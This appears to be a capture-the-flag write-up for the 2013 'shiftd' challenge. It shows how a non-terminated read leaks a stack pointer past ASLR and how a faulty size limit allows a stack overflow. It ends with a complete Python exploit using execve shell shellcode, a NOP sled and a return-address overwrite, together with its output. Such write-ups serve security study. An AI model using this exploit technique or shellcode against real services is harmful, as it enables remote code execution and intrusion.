shiftd-3a9c2a55e77d1467ee46dfb931170c737d24f310: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped
Shiftd is an interesting X86_64 challenge combining information leak and exploitation.
There is an hard-coded password for access to the service, then the binary asks you for your name and how you would like to format the current time:
NowIsTheWinterOfOurDiscountTent
Welcome to Shifty's Time Formatting Service!
What is your name?
aXs
Welcome, aXs[!
Please provide a time format:
%y-%m-%d
Your formatted time is:
13-02-17
Thank you! Come again!
Do you notice something wrong with the name ? There is an extra character “[“. Lets do this against but login in hex the traffic:
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 61 58 73 0a # aXs.
< 00000040 57 65 6c 63 6f 6d 65 2c 20 61 58 73 bb ff 7f 21 # Welcome, aXs...!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a # a time format:.
Oh, the character changed and we see some telltales of a information leak: “bbff7f”, the beginning of a stack pointer for X86_84.
Let’s take a look at the code to understand what’s going on, the main function is quite short so I will be it in full:
.text:0000000000400872
.text:0000000000400872 timer = dword ptr -828h
.text:0000000000400872 buffer = byte ptr -820h
.text:0000000000400872 format = byte ptr -420h
.text:0000000000400872 name = byte ptr -20h
.text:0000000000400872 tp = qword ptr -10h
.text:0000000000400872 strftime_result = dword ptr -4
.text:0000000000400872
.text:0000000000400872 push rbp
.text:0000000000400873 mov rbp, rsp
.text:0000000000400876 sub rsp, 830h
.text:000000000040087D lea rsi, [rbp+format]
.text:0000000000400884 mov eax, 0
.text:0000000000400889 mov edx, 80h
.text:000000000040088E mov rdi, rsi
.text:0000000000400891 mov rcx, rdx
.text:0000000000400894 rep stosq
.text:0000000000400897 lea rsi, [rbp+buffer]
.text:000000000040089E mov eax, 0
.text:00000000004008A3 mov edx, 80h
.text:00000000004008A8 mov rdi, rsi
.text:00000000004008AB mov rcx, rdx
.text:00000000004008AE rep stosq
.text:00000000004008B1 mov [rbp+strftime_result], 0
.text:00000000004008B8 lea rdi, s ; "Welcome to Shifty's Time Formatting Ser"...
.text:00000000004008BF call _puts
.text:00000000004008C4 lea rdi, aWhatIsYourName ; "What is your name?"
.text:00000000004008CB call _puts
.text:00000000004008D0 mov rax, cs:stdout_ptr
.text:00000000004008D7 mov rax, [rax]
.text:00000000004008DA mov rdi, rax ; stream
.text:00000000004008DD call _fflush
.text:00000000004008E2 lea rax, [rbp+name]
.text:00000000004008E6 mov edx, 0Ah
.text:00000000004008EB mov esi, 10h
.text:00000000004008F0 mov rdi, rax
.text:00000000004008F3 call do_read
.text:00000000004008F8 lea rax, format ; "Welcome, %s!\n"
.text:00000000004008FF lea rdx, [rbp+name]
.text:0000000000400903 mov rsi, rdx
.text:0000000000400906 mov rdi, rax ; format
.text:0000000000400909 mov eax, 0
.text:000000000040090E call _printf
.text:0000000000400913 lea rdi, aPleaseProvideA ; "Please provide a time format:"
.text:000000000040091A call _puts
.text:000000000040091F mov rax, cs:stdout_ptr
.text:0000000000400926 mov rax, [rax]
.text:0000000000400929 mov rdi, rax ; stream
.text:000000000040092C call _fflush
.text:0000000000400931 mov rax, cs:off_601068
.text:0000000000400938 mov rcx, rax
.text:000000000040093B and ecx, 7FFFFFFFh
.text:0000000000400941 lea rax, [rbp+format]
.text:0000000000400948 mov edx, 0Ah
.text:000000000040094D mov rsi, rcx
.text:0000000000400950 mov rdi, rax
.text:0000000000400953 call do_read
.text:0000000000400958 lea rax, [rbp+timer]
.text:000000000040095F mov rdi, rax ; timer
.text:0000000000400962 call _time
.text:0000000000400967 lea rax, [rbp+timer]
.text:000000000040096E mov rdi, rax ; timer
.text:0000000000400971 call _localtime
.text:0000000000400976 mov [rbp+tp], rax
.text:000000000040097A mov rcx, [rbp+tp] ; tp
.text:000000000040097E lea rdx, [rbp+format] ; format
.text:0000000000400985 lea rax, [rbp+buffer]
.text:000000000040098C mov esi, 400h ; maxsize
.text:0000000000400991 mov rdi, rax ; s
.text:0000000000400994 call _strftime
.text:0000000000400999 mov [rbp+strftime_result], eax
.text:000000000040099C cmp [rbp+strftime_result], 0C0000005h
.text:00000000004009A3 jz short failed_strftime
.text:00000000004009A5 lea rdi, aYourFormattedT ; "Your formatted time is:"
.text:00000000004009AC call _puts
.text:00000000004009B1 lea rax, [rbp+buffer]
.text:00000000004009B8 mov rdi, rax ; s
.text:00000000004009BB call _puts
.text:00000000004009C0 lea rdi, empty_string ; s
.text:00000000004009C7 call _puts
.text:00000000004009CC lea rdi, aThankYouComeAg ; "Thank you! Come again!"
.text:00000000004009D3 call _puts
.text:00000000004009D8 mov rax, cs:stdout_ptr
.text:00000000004009DF mov rax, [rax]
.text:00000000004009E2 mov rdi, rax ; stream
.text:00000000004009E5 call _fflush
.text:00000000004009EA leave
.text:00000000004009EB retn
The problem is that do_read() doesn’t NULL-terminate the string. So when we print the name, we print the name and whatever is after the name on the stack until we hit a NULL.
Let’s try again but with an empty name:
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 0a # .
< 00000040 57 65 6c 63 6f 6d 65 2c 20 80 c5 1d 6c ff 7f 21 # Welcome, ...l..!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a # a time format:.
We get “80 c5 1d 6c ff 7f”, otherwise said 0x7fff6c1dc580 which is full pointer to an element on the stack (it’s a pointer to the previous string used by the password actually)
That’s a great piece for our puzzle as this binary is ALSR: memory layout and so pointers change values (randomized base) each time you run it. Now we can hit the stack with 100% confidence. But it’s not a vulnerability in itself. What else have we got in here ?
Let’s take a look at the do_read() (again!) call for reading the time format:
.text:0000000000400938 mov rcx, rax
.text:000000000040093B and ecx, 7FFFFFFFh
.text:0000000000400941 lea rax, [rbp+format]
.text:0000000000400948 mov edx, 0Ah
.text:000000000040094D mov rsi, rcx
.text:0000000000400950 mov rdi, rax
.text:0000000000400953 call do_read
In the rdi register we have the maximum buffer size allowed to be read from the socket, coming from rax and cs:off_601068:
What is this? stderr is an external symbol of libc. It’s offset (position) in memory is a very big number and we are still adding even more with +400h.
As we can read almost as much we want in the format buffer due to the faulty max size, we can overflow it and smash the stack.
Using trial and error and Metasploit’s pattern_create tool we calculate we have to fill 1064 bytes until we hit and overwrite the return address on the stack.
Our exploit payload will be:
– Send [PASSWORD][empty name “\n”]
– Receive “Welcome, %s!” and decode pointer for information leak
– Calculate RETIP using the leaked pointer, our NOPSLED will be 2112 bytes before this pointer
– Send [NOPSLED][SHELLCODE][RETIP]
from struct import pack, unpack
host = 'shiftd.2013.ghostintheshellcode.com'
port = 5177
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send("NowIsTheWinterOfOurDiscountTent\n")
data = s.recv(16384)
print repr(data)
s.send("\n")
data = s.recv(16384)
stack = data[len('Welcome, '):len('Welcome, ')+6] +"\x00\x00"
stack_addr = unpack('<Q', stack)[0]
print "stack_addr=", hex(stack_addr)
retip = pack('<Q', stack_addr - 0x840)
print 'retip=', repr(retip), len(retip)
s.send('\x90' * 16 + shellcode + 'A' * (1064 - 16 - len(shellcode)) + retip + "\n")
data = s.recv(32768)
print repr(data)
s.send("\ncat /home/shiftd/key\n")
data = s.recv(32768)
print data
Result:
stack_addr= 0x7fffeba157e0L
retip= '\xa0O\xa1\xeb\xff\x7f\x00\x00' 8
'Your formatted time is:\n\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\nThank you! Come again!\n'
http://shifty.urbanup.com/4195551